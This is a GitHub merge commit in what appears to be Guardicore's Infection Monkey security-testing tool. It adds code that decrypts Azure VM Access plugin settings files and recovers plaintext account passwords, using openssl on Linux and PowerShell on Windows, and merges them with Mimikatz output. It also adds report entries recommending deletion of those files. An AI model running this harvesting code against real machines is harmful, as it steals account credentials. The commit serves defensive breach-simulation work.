Merge pull request #110 from guardicore/feature/extract_azure

Feature/extract azure
Onto master for specific release
This commit is contained in:
Daniel Goldberg 2018-03-29 11:03:24 +03:00 committed by GitHub
commit 7412b47348
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
10 changed files with 233 additions and 9 deletions

View File

@ -272,5 +272,7 @@ class Configuration(object):
mimikatz_dll_name = "mk.dll"
extract_azure_creds = True
WormConfiguration = Configuration()

View File

@ -15,6 +15,7 @@
"current_server": "41.50.73.31:5000",
"alive": true,
"collect_system_info": true,
"extract_azure_creds": true,
"depth": 2,
"dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll",

View File

@ -6,6 +6,7 @@ import psutil
from enum import IntEnum
from network.info import get_host_subnets
from azure_cred_collector import AzureCollector
LOG = logging.getLogger(__name__)
@ -104,3 +105,29 @@ class InfoCollector(object):
"""
LOG.debug("Reading subnets")
self.info['network_info'] = {'networks': get_host_subnets()}
def get_azure_info(self):
"""
Adds credentials possibly stolen from an Azure VM instance (if we're on one)
Updates the credentials structure, creating it if neccesary (compat with mimikatz)
:return: None. Updates class information
"""
from config import WormConfiguration
if not WormConfiguration.extract_azure_creds:
return
LOG.debug("Harvesting creds if on an Azure machine")
azure_collector = AzureCollector()
if 'credentials' not in self.info:
self.info["credentials"] = {}
azure_creds = azure_collector.extract_stored_credentials()
for cred in azure_creds:
username = cred[0]
password = cred[1]
if username not in self.info["credentials"]:
self.info["credentials"][username] = {}
# we might be losing passwords in case of multiple reset attempts on same username
# or in case another collector already filled in a password for this user
self.info["credentials"][username]['password'] = password
if len(azure_creds) != 0:
self.info["Azure"] = {}
self.info["Azure"]['usernames'] = [cred[0] for cred in azure_creds]

View File

@ -0,0 +1,104 @@
import sys
import logging
import os.path
import json
import glob
import subprocess
__author__ = 'danielg'
LOG = logging.getLogger(__name__)
class AzureCollector(object):
"""
Extract credentials possibly saved on Azure VM instances by the VM Access plugin
"""
def __init__(self):
if sys.platform.startswith("win"):
self.path = "C:\\Packages\\Plugins\\Microsoft.Compute.VmAccessAgent\\2.4.2\\RuntimeSettings"
self.extractor = AzureCollector.get_pass_windows
else:
self.path = "/var/lib/waagent/Microsoft.OSTCExtensions.VMAccessForLinux-1.4.7.1/config"
self.extractor = AzureCollector.get_pass_linux
self.file_list = glob.iglob(os.path.join(self.path, "*.settings"))
def extract_stored_credentials(self):
"""
Returns a list of username/password pairs saved under configuration files
:return: List of (user/pass), possibly empty
"""
results = [self.extractor(filepath) for filepath in self.file_list]
results = [x for x in results if x]
LOG.info("Found %d Azure VM access configuration file", len(results))
return results
@staticmethod
def get_pass_linux(filepath):
"""
Extract passwords from Linux azure VM Access files
:return: Username, password
"""
linux_cert_store = "/var/lib/waagent/"
try:
json_data = json.load(open(filepath, 'r'))
# this is liable to change but seems to be stable over the last year
protected_data = json_data['runtimeSettings'][0]['handlerSettings']['protectedSettings']
cert_thumbprint = json_data['runtimeSettings'][0]['handlerSettings']['protectedSettingsCertThumbprint']
base64_command = """openssl base64 -d -a"""
priv_path = os.path.join(linux_cert_store, "%s.prv" % cert_thumbprint)
b64_proc = subprocess.Popen(base64_command.split(), stdin=subprocess.PIPE, stdout=subprocess.PIPE)
b64_result = b64_proc.communicate(input=protected_data + "\n")[0]
decrypt_command = 'openssl smime -inform DER -decrypt -inkey %s' % priv_path
decrypt_proc = subprocess.Popen(decrypt_command.split(), stdout=subprocess.PIPE, stdin=subprocess.PIPE)
decrypt_raw = decrypt_proc.communicate(input=b64_result)[0]
decrypt_data = json.loads(decrypt_raw)
return decrypt_data['username'], decrypt_data['password']
except IOError:
LOG.warning("Failed to parse VM Access plugin file. Could not open file")
return None
except (KeyError, ValueError):
LOG.warning("Failed to parse VM Access plugin file. Invalid format")
return None
except subprocess.CalledProcessError:
LOG.warning("Failed to decrypt VM Access plugin file. Failed to decode B64 and decrypt data")
return None
@staticmethod
def get_pass_windows(filepath):
"""
Extract passwords from Windows azure VM Access files
:return: Username,password
"""
try:
json_data = json.load(open(filepath, 'r'))
# this is liable to change but seems to be stable over the last year
protected_data = json_data['runtimeSettings'][0]['handlerSettings']['protectedSettings']
username = json_data['runtimeSettings'][0]['handlerSettings']['publicSettings']['UserName']
# we're going to do as much of this in PS as we can.
ps_block = ";\n".join([
'[System.Reflection.Assembly]::LoadWithPartialName("System.Security") | Out-Null',
'$base64 = "%s"' % protected_data,
"$content = [Convert]::FromBase64String($base64)",
"$env = New-Object Security.Cryptography.Pkcs.EnvelopedCms",
"$env.Decode($content)",
"$env.Decrypt()",
"$utf8content = [text.encoding]::UTF8.getstring($env.ContentInfo.Content)",
"Write-Host $utf8content" # we want to simplify parsing
])
ps_proc = subprocess.Popen(["powershell.exe", "-NoLogo"], stdin=subprocess.PIPE, stdout=subprocess.PIPE)
ps_out = ps_proc.communicate(ps_block)[0]
# this is disgusting but the alternative is writing the file to disk...
password_raw = ps_out.split('\n')[-2].split(">")[1].split("$utf8content")[1]
password = json.loads(password_raw)["Password"]
return username, password
except IOError:
LOG.warning("Failed to parse VM Access plugin file. Could not open file")
return None
except (KeyError, ValueError):
LOG.warning("Failed to parse VM Access plugin file. Invalid format")
return None
except subprocess.CalledProcessError:
LOG.warning("Failed to decrypt VM Access plugin file. Failed to decode B64 and decrypt data")
return None

View File

@ -25,4 +25,5 @@ class LinuxInfoCollector(InfoCollector):
self.get_hostname()
self.get_process_list()
self.get_network_info()
self.get_azure_info()
return self.info

View File

@ -27,6 +27,8 @@ class WindowsInfoCollector(InfoCollector):
self.get_hostname()
self.get_process_list()
self.get_network_info()
self.get_azure_info()
mimikatz_collector = MimikatzCollector()
self.info["credentials"] = mimikatz_collector.get_logon_info()
mimikatz_info = mimikatz_collector.get_logon_info()
self.info["credentials"].update(mimikatz_info)
return self.info

View File

@ -24,6 +24,7 @@ class Monkey(flask_restful.Resource):
if guid:
monkey_json = mongo.db.monkey.find_one_or_404({"guid": guid})
monkey_json['config'] = ConfigService.decrypt_flat_config(monkey_json['config'])
return monkey_json
return {}
@ -65,7 +66,8 @@ class Monkey(flask_restful.Resource):
# if new monkey telem, change config according to "new monkeys" config.
db_monkey = mongo.db.monkey.find_one({"guid": monkey_json["guid"]})
if not db_monkey:
new_config = ConfigService.get_flat_config(False, True)
# we pull it encrypted because we then decrypt it for the monkey in get
new_config = ConfigService.get_flat_config(False, False)
monkey_json['config'] = monkey_json.get('config', {})
monkey_json['config'].update(new_config)
else:

View File

@ -1,4 +1,5 @@
import copy
import collections
import functools
from jsonschema import Draft4Validator, validators
@ -521,8 +522,8 @@ SCHEMA = {
}
}
},
"mimikatz": {
"title": "Mimikatz",
"systemInfo": {
"title": "System collection",
"type": "object",
"properties": {
"mimikatz_dll_name": {
@ -531,6 +532,13 @@ SCHEMA = {
"default": "mk.dll",
"description":
"Name of Mimikatz DLL (should be the same as in the monkey's pyinstaller spec file)"
},
"extract_azure_creds": {
"title": "Harvest Azure Credentials",
"type": "boolean",
"default": True,
"description":
"Determine if the Monkey should try to harvest password credentials from Azure VMs"
}
}
}
@ -978,6 +986,19 @@ class ConfigService:
def encrypt_config(config):
ConfigService._encrypt_or_decrypt_config(config, False)
@staticmethod
def decrypt_flat_config(flat_config):
"""
Same as decrypt_config but for a flat configuration
"""
keys = [config_arr_as_array[2] for config_arr_as_array in ENCRYPTED_CONFIG_ARRAYS]
for key in keys:
if isinstance(flat_config[key], collections.Sequence) and not isinstance(flat_config[key], basestring):
flat_config[key] = [encryptor.dec(item) for item in flat_config[key]]
else:
flat_config[key] = encryptor.dec(flat_config[key])
return flat_config
@staticmethod
def _encrypt_or_decrypt_config(config, is_decrypt=False):
for config_arr_as_array in ENCRYPTED_CONFIG_ARRAYS:

View File

@ -33,6 +33,7 @@ class ReportService:
SAMBACRY = 3
SHELLSHOCK = 4
CONFICKER = 5
AZURE = 6
class WARNINGS_DICT(Enum):
CROSS_SEGMENT = 0
@ -71,6 +72,19 @@ class ReportService:
}
for tunnel in mongo.db.monkey.find({'tunnel': {'$exists': True}}, {'tunnel': 1})]
@staticmethod
def get_azure_issues():
creds = ReportService.get_azure_creds()
machines = set([instance['origin'] for instance in creds])
return [
{
'type': 'azure_password',
'machine': machine,
'users': set([instance['username'] for instance in creds if instance['origin'] == machine])
}
for machine in machines]
@staticmethod
def get_scanned():
nodes = \
@ -135,6 +149,26 @@ class ReportService:
)
return creds
@staticmethod
def get_azure_creds():
"""
Recover all credentials marked as being from an Azure machine
:return: List of credentials.
"""
creds = []
for telem in mongo.db.telemetry.find(
{'telem_type': 'system_info_collection', 'data.Azure': {'$exists': True}},
{'data.Azure': 1, 'monkey_guid': 1}
):
azure_users = telem['data']['Azure']['usernames']
if len(azure_users) == 0:
continue
origin = NodeService.get_monkey_by_guid(telem['monkey_guid'])['hostname']
azure_leaked_users = [{'username': user.replace(',', '.'), 'type': 'Clear Password',
'origin': origin} for user in azure_users]
creds.extend(azure_leaked_users)
return creds
@staticmethod
def process_general_exploit(exploit):
ip_addr = exploit['data']['machine']['ip_addr']
@ -277,7 +311,7 @@ class ReportService:
@staticmethod
def get_issues():
issues = ReportService.get_exploits() + ReportService.get_tunnels() + ReportService.get_cross_segment_issues()
issues = ReportService.get_exploits() + ReportService.get_tunnels() + ReportService.get_cross_segment_issues() + ReportService.get_azure_issues()
issues_dict = {}
for issue in issues:
machine = issue['machine']
@ -315,7 +349,8 @@ class ReportService:
@staticmethod
def get_config_ips():
if ConfigService.get_config_value(['basic_network', 'network_range', 'range_class'], True, True) != 'FixedRange':
if ConfigService.get_config_value(['basic_network', 'network_range', 'range_class'], True,
True) != 'FixedRange':
return []
return ConfigService.get_config_value(['basic_network', 'network_range', 'range_fixed'], True, True)
@ -325,7 +360,7 @@ class ReportService:
@staticmethod
def get_issues_overview(issues, config_users, config_passwords):
issues_byte_array = [False] * 6
issues_byte_array = [False] * len(ReportService.ISSUES_DICT)
for machine in issues:
for issue in issues[machine]:
@ -337,6 +372,8 @@ class ReportService:
issues_byte_array[ReportService.ISSUES_DICT.SHELLSHOCK.value] = True
elif issue['type'] == 'conficker':
issues_byte_array[ReportService.ISSUES_DICT.CONFICKER.value] = True
elif issue['type'] == 'azure_password':
issues_byte_array[ReportService.ISSUES_DICT.AZURE.value] = True
elif issue['type'].endswith('_password') and issue['password'] in config_passwords and \
issue['username'] in config_users:
issues_byte_array[ReportService.ISSUES_DICT.WEAK_PASSWORD.value] = True
@ -397,7 +434,8 @@ class ReportService:
{
'scanned': ReportService.get_scanned(),
'exploited': ReportService.get_exploited(),
'stolen_creds': ReportService.get_stolen_creds()
'stolen_creds': ReportService.get_stolen_creds(),
'azure_passwords': ReportService.get_azure_creds(),
},
'recommendations':
{

View File

@ -21,7 +21,8 @@ class ReportPageComponent extends AuthComponent {
ELASTIC: 2,
SAMBACRY: 3,
SHELLSHOCK: 4,
CONFICKER: 5
CONFICKER: 5,
AZURE: 6
};
Warning =
@ -313,6 +314,11 @@ class ReportPageComponent extends AuthComponent {
{this.state.report.overview.issues[this.Issue.WEAK_PASSWORD] ?
<li>Machines are accessible using passwords supplied by the user during the Monkeys
configuration.</li> : null}
{this.state.report.overview.issues[this.Issue.AZURE] ?
<li>Azure machines expose plaintext passwords. (<a
href="https://www.guardicore.com/2018/03/recovering-plaintext-passwords-azure/"
>More info</a>)</li> : null}
</ul>
</div>
:
@ -587,6 +593,21 @@ class ReportPageComponent extends AuthComponent {
);
}
generateAzureIssue(issue) {
return (
<li>
Delete VM Access plugin configuration files.
<CollapsibleWellComponent>
Credentials could be stolen from <span
className="label label-primary">{issue.machine}</span> for the following users <span
className="label label-primary">{issue.users}</span>. Read more about the security issue and remediation <a
href="https://www.guardicore.com/2018/03/recovering-plaintext-passwords-azure/"
>here</a>.
</CollapsibleWellComponent>
</li>
);
}
generateConfickerIssue(issue) {
return (
<li>
@ -631,6 +652,8 @@ class ReportPageComponent extends AuthComponent {
);
}
generateIssue = (issue) => {
let data;
switch (issue.type) {
@ -670,6 +693,9 @@ class ReportPageComponent extends AuthComponent {
case 'tunnel':
data = this.generateTunnelIssue(issue);
break;
case 'azure_password':
data = this.generateAzureIssue(issue);
break;
}
return data;
};